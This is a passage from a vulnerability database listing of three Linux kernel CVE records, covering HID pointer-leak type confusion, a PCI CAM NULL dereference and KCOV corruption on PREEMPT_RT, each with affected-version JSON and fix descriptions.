    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bed7fe3a936b6bdd84671385951397ca673cf6e7",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "aec2c2ec87d4ec1f098979f68cd81b29f031c8cb",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "634f498ea5d5e8e01f8d9414d4f45eeaf9ee1996",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "abec577de5fc16cd5caae42f97cdcd0983c06d66",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "dd8035dec26e98204d6e4a6e0cee5c4d329b3d7e",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "1fa1591efd417e39e5e164bebea8ca7a3837c469",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "e60159f5ea60254a5c3de4ea4f2f939f0171031b",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "e542edada3f79387c0ac2a528cebf01f4ef47df8",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            },
            {
              "lessThan": "28abce951343fcec26e397610868efa4e1395c3f",
              "status": "affected",
              "version": "3dc8fc083dbfeede7b63a0c07581192e97711365",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.12"
            },
            {
              "lessThan": "3.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.267",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.218",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.185",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.267",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.218",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.185",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.154",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: fix number/pointer type confusion on long items\n\nWhen fetch_item() is called by hid_scan_report() on an item with\nHID_ITEM_TAG_LONG, it stores a pointer to the item data in\nitem-\u003edata.longdata instead of storing a value directly in\nitem-\u003edata.{u8/u16/u32}.\n\nWhen item_udata() or item_sdata() encounters such an item, it incorrectly\nassumes that the item is in short format, and therefore returns the lower\npart of a kernel pointer reinterpreted as a number.\n\nWhen a HID device is connected whose descriptor contains a\nHID_GLOBAL_ITEM_TAG_REPORT_SIZE encoded in long format with size=4, this\ncauses the lower half of a kernel pointer to be printed into dmesg as a\nnumber, like this:\n\n    hid (null): invalid report_size 107953555\n\nTo fix it, let item_udata() and item_sdata() verify that the item is in\nshort format.\n\nNote that this bug only affects hid_scan_report(), while the main parsing\npass hid_parse_collections() will always bail out when encountering a long\nitem.\n\nSidenote: There are currently no users of data.longdata; maybe we should\njust remove any parsing of long-format descriptors as a follow-up."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:15.799Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bed7fe3a936b6bdd84671385951397ca673cf6e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/aec2c2ec87d4ec1f098979f68cd81b29f031c8cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/634f498ea5d5e8e01f8d9414d4f45eeaf9ee1996"
        },
        {
          "url": "https://git.kernel.org/stable/c/abec577de5fc16cd5caae42f97cdcd0983c06d66"
        },
        {
          "url": "https://git.kernel.org/stable/c/dd8035dec26e98204d6e4a6e0cee5c4d329b3d7e"
        },
        {
          "url": "https://git.kernel.org/stable/c/1fa1591efd417e39e5e164bebea8ca7a3837c469"
        },
        {
          "url": "https://git.kernel.org/stable/c/e60159f5ea60254a5c3de4ea4f2f939f0171031b"
        },
        {
          "url": "https://git.kernel.org/stable/c/e542edada3f79387c0ac2a528cebf01f4ef47df8"
        },
        {
          "url": "https://git.kernel.org/stable/c/28abce951343fcec26e397610868efa4e1395c3f"
        }
      ],
      "title": "HID: core: fix number/pointer type confusion on long items",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80918",
    "datePublished": "2026-09-09T16:13:15.799Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:15.799Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80917 (GCVE-0-2026-80917)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems
    Summary
    In the Linux kernel, the following vulnerability has been resolved: PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems On 32-bit systems the config space is too large to ioremap in one go, so pci_ecam_create() maps each bus segment separately and relies on the ->add_bus callback (pci_ecam_add_bus) to populate the per-bus mapping in cfg->winp[]. pci_ecam_map_bus() then uses that mapping as the base for every config access. The generic ECAM ops (pci_generic_ecam_ops) already provide the ->add_bus and ->remove_bus callbacks, but the CAM (legacy) ops in pci-host-generic.c do not. As a result, on a 32-bit host using "pci-host-cam-generic" the per-bus mapping is never set up and the first config read dereferences a NULL base, crashing during bus enumeration: Unable to handle kernel NULL pointer dereference at virtual address 00000800 Oops [#1] CPU: 0 PID: 1 Comm: swapper Not tainted 6.9.7+ #43 Hardware name: Digilent Nexys-Video-A7 RV32 (DT) epc : pci_generic_config_read+0x40/0xb0 ra : pci_generic_config_read+0x2c/0xb0 [<c038db9c>] pci_generic_config_read+0x40/0xb0 [<c038da04>] pci_bus_read_config_dword+0x50/0xb0 [<c0391e94>] pci_bus_generic_read_dev_vendor_id+0x3c/0x1ec [<c039245c>] pci_scan_single_device+0xa4/0x11c [<c0392570>] pci_scan_slot+0x9c/0x23c [<c039388c>] pci_scan_child_bus_extend+0x58/0x2f4 [<c0393db0>] pci_scan_root_bus_bridge+0x64/0xe8 [<c0393e54>] pci_host_probe+0x20/0xc8 [<c03bc6f4>] pci_host_common_probe+0x144/0x1e4 Fix this by giving the CAM ops the same ->add_bus/->remove_bus callbacks. Since pci_ecam_add_bus() and pci_ecam_remove_bus() are static to ecam.c, move the CAM ops definition there as pci_generic_cam_ops (mirroring pci_generic_ecam_ops) and export it for pci-host-generic.c to reference. [mani: removed timestamp from log]
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 5e52eb0290f66ba0732956dcb1e365b5ca3c5108 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < baf9b0383ff770fdff123d3a832f3a99641d96dd (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 8d08713ec83a18526d1ed1fd5f0d2b901d103a10 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 74456843f18ba7f3045974d7e8b88ab993152b8c (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 0c55707bd5d0d7670704cfd0dda933809b052f67 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < a199293f3038db8d31d47aa60f1e18272cd82354 (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 0916948026f623844acd08888f7cbedbf1c48d6b (git)
    Affected: 8fe55ef23387ce3c7488375b1fd539420d7654bb , < 008cb88edb41f3c7c8e0ed763ff9f26719830984 (git)
    Affected: 0b5877a1aeacdbf32b3bea91326592004ec7806f (git)
    Affected: a037ebbe72a4f98495b193112e2b2000e5e09eb5 (git)
    Affected: 5.12.19 , < 5.13 (semver)
    Affected: 5.13.4 , < 5.14 (semver)
    		Create a notification for this product.
    Linux Linux Affected: 5.14
    Unaffected: 0 , < 5.14 (semver)
    Unaffected: 5.15.218 , ≤ 5.15.* (semver)
    Unaffected: 6.1.185 , ≤ 6.1.* (semver)
    Unaffected: 6.6.154 , ≤ 6.6.* (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/controller/pci-host-generic.c",
            "drivers/pci/ecam.c",
            "include/linux/pci-ecam.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5e52eb0290f66ba0732956dcb1e365b5ca3c5108",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "baf9b0383ff770fdff123d3a832f3a99641d96dd",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "8d08713ec83a18526d1ed1fd5f0d2b901d103a10",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "74456843f18ba7f3045974d7e8b88ab993152b8c",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "0c55707bd5d0d7670704cfd0dda933809b052f67",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "a199293f3038db8d31d47aa60f1e18272cd82354",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "0916948026f623844acd08888f7cbedbf1c48d6b",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "lessThan": "008cb88edb41f3c7c8e0ed763ff9f26719830984",
              "status": "affected",
              "version": "8fe55ef23387ce3c7488375b1fd539420d7654bb",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "0b5877a1aeacdbf32b3bea91326592004ec7806f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a037ebbe72a4f98495b193112e2b2000e5e09eb5",
              "versionType": "git"
            },
            {
              "lessThan": "5.13",
              "status": "affected",
              "version": "5.12.19",
              "versionType": "semver"
            },
            {
              "lessThan": "5.14",
              "status": "affected",
              "version": "5.13.4",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/controller/pci-host-generic.c",
            "drivers/pci/ecam.c",
            "include/linux/pci-ecam.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.14"
            },
            {
              "lessThan": "5.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.218",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.185",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.218",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.185",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.154",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.106",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.47",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.12.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.13.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems\n\nOn 32-bit systems the config space is too large to ioremap in one go, so\npci_ecam_create() maps each bus segment separately and relies on the\n-\u003eadd_bus callback (pci_ecam_add_bus) to populate the per-bus mapping in\ncfg-\u003ewinp[]. pci_ecam_map_bus() then uses that mapping as the base for\nevery config access.\n\nThe generic ECAM ops (pci_generic_ecam_ops) already provide the -\u003eadd_bus\nand -\u003eremove_bus callbacks, but the CAM (legacy) ops in pci-host-generic.c\ndo not. As a result, on a 32-bit host using \"pci-host-cam-generic\" the\nper-bus mapping is never set up and the first config read dereferences a\nNULL base, crashing during bus enumeration:\n\n Unable to handle kernel NULL pointer dereference at virtual address 00000800\n Oops [#1]\n CPU: 0 PID: 1 Comm: swapper Not tainted 6.9.7+ #43\n Hardware name: Digilent Nexys-Video-A7 RV32 (DT)\n epc : pci_generic_config_read+0x40/0xb0\n  ra : pci_generic_config_read+0x2c/0xb0\n [\u003cc038db9c\u003e] pci_generic_config_read+0x40/0xb0\n [\u003cc038da04\u003e] pci_bus_read_config_dword+0x50/0xb0\n [\u003cc0391e94\u003e] pci_bus_generic_read_dev_vendor_id+0x3c/0x1ec\n [\u003cc039245c\u003e] pci_scan_single_device+0xa4/0x11c\n [\u003cc0392570\u003e] pci_scan_slot+0x9c/0x23c\n [\u003cc039388c\u003e] pci_scan_child_bus_extend+0x58/0x2f4\n [\u003cc0393db0\u003e] pci_scan_root_bus_bridge+0x64/0xe8\n [\u003cc0393e54\u003e] pci_host_probe+0x20/0xc8\n [\u003cc03bc6f4\u003e] pci_host_common_probe+0x144/0x1e4\n\nFix this by giving the CAM ops the same -\u003eadd_bus/-\u003eremove_bus callbacks.\nSince pci_ecam_add_bus() and pci_ecam_remove_bus() are static to ecam.c,\nmove the CAM ops definition there as pci_generic_cam_ops (mirroring\npci_generic_ecam_ops) and export it for pci-host-generic.c to reference.\n\n[mani: removed timestamp from log]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:15.202Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5e52eb0290f66ba0732956dcb1e365b5ca3c5108"
        },
        {
          "url": "https://git.kernel.org/stable/c/baf9b0383ff770fdff123d3a832f3a99641d96dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d08713ec83a18526d1ed1fd5f0d2b901d103a10"
        },
        {
          "url": "https://git.kernel.org/stable/c/74456843f18ba7f3045974d7e8b88ab993152b8c"
        },
        {
          "url": "https://git.kernel.org/stable/c/0c55707bd5d0d7670704cfd0dda933809b052f67"
        },
        {
          "url": "https://git.kernel.org/stable/c/a199293f3038db8d31d47aa60f1e18272cd82354"
        },
        {
          "url": "https://git.kernel.org/stable/c/0916948026f623844acd08888f7cbedbf1c48d6b"
        },
        {
          "url": "https://git.kernel.org/stable/c/008cb88edb41f3c7c8e0ed763ff9f26719830984"
        }
      ],
      "title": "PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80917",
    "datePublished": "2026-09-09T16:13:15.202Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:15.202Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80916 (GCVE-0-2026-80916)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    kcov: fix data corruption and race conditions on PREEMPT_RT
    Summary
    In the Linux kernel, the following vulnerability has been resolved: kcov: fix data corruption and race conditions on PREEMPT_RT syzbot is reporting KCOV state corruption on PREEMPT_RT kernels, for the temporary storage used for saving/restoring remote KCOV state is currently allocated as the per-CPU area. On PREEMPT_RT kernels, softirq handlers run as preemptible task threads (e.g., ksoftirqd). If a softirq context preempts a task running a remote KCOV session, it safely saves the task's state into the per-CPU area. However, if that softirq thread is subsequently preempted by a higher- priority softirq thread on the same CPU, the second softirq will overwrite the same per-CPU area, permanently destroying the original task's KCOV state. Fix this data corruption by moving the temporary storage from the per-CPU area to the per-thread area. Since each softirq thread now owns its own task context, nested softirq preemption no longer causes data overwrites. Note that while the temporary storage is now on a per-thread basis, the per-CPU kcov_percpu_data.lock must be retained, for we need to ensure that kcov_remote_start() and kcov_remote_stop() operate atomically without racing against asynchronous interrupts that manipulate the current task's KCOV state. It is likely that GFP_KERNEL allocation by vmalloc_node() in kcov_init() has already called panic() before returning NULL, for there will be no OOM-killable userspace processes when __init function of built-in module runs. But this patch also fixes crashing the kernel when vmalloc_node() in kcov_init() returned NULL, for kcov_init() left per-CPU irq_area == NULL but kcov_remote_start() depends on per-CPU irq_area != NULL, resulting in (1) doing vmalloc() in kcov_remote_start() despite !in_task() context (2) out-of-array-bounds access if (1) succeeded but kcov->remote_size < CONFIG_KCOV_IRQ_AREA_SIZE (3) always leak memory allocated by (1), eventually killing all OOM-killable userspace processes problems.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < ef7048d8a614c5f5a9b20513a5428101a744514e (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 8ed3ddf23d39bf5338406bd9f8863d44748cf6ce (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 5dc59fc959b2b5742985d7ef24bccd1868217dc2 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < a2fb8222cde23b0001812ed3acb7c0ea36dd94e2 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 18799e858b407bf355383c9dd6c06477aa437134 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < e11f5b48c82703242a3be7a7ae4b4940b4cb4610 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 22670d1552fe155822b2abf91f920925f7d067b4 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < f8c9a3ec36b4ee3d4701b9be08f40e7bfbf89761 (git)
    Affected: 5ff3b30ab57da82d8db4f14662a2858cabfbc2c0 , < 2eed77fdcb0cc48e8eccb2bcd4b7f2c6d650e84c (git)
    		Create a notification for this product.
    Linux Linux Affected: 5.8
    Unaffected: 0 , < 5.8 (semver)
    Unaffected: 5.10.269 , ≤ 5.10.* (semver)
    Unaffected: 5.15.220 , ≤ 5.15.* (semver)
    Unaffected: 6.1.185 , ≤ 6.1.* (semver)
    Unaffected: 6.6.154 , ≤ 6.6.* (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/sched.h",
            "kernel/kcov.c",
            "lib/Kconfig.debug"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ef7048d8a614c5f5a9b20513a5428101a744514e",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "8ed3ddf23d39bf5338406bd9f8863d44748cf6ce",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "5dc59fc959b2b5742985d7ef24bccd1868217dc2",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "a2fb8222cde23b0001812ed3acb7c0ea36dd94e2",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "18799e858b407bf355383c9dd6c06477aa437134",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "e11f5b48c82703242a3be7a7ae4b4940b4cb4610",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "22670d1552fe155822b2abf91f920925f7d067b4",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "f8c9a3ec36b4ee3d4701b9be08f40e7bfbf89761",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            },
            {
              "lessThan": "2eed77fdcb0cc48e8eccb2bcd4b7f2c6d650e84c",
              "status": "affected",
              "version": "5ff3b30ab57da82d8db4f14662a2858cabfbc2c0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/sched.h",
            "kernel/kcov.c",
            "lib/Kconfig.debug"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.269",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.185",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.106",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.47",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.269",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.220",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.185",
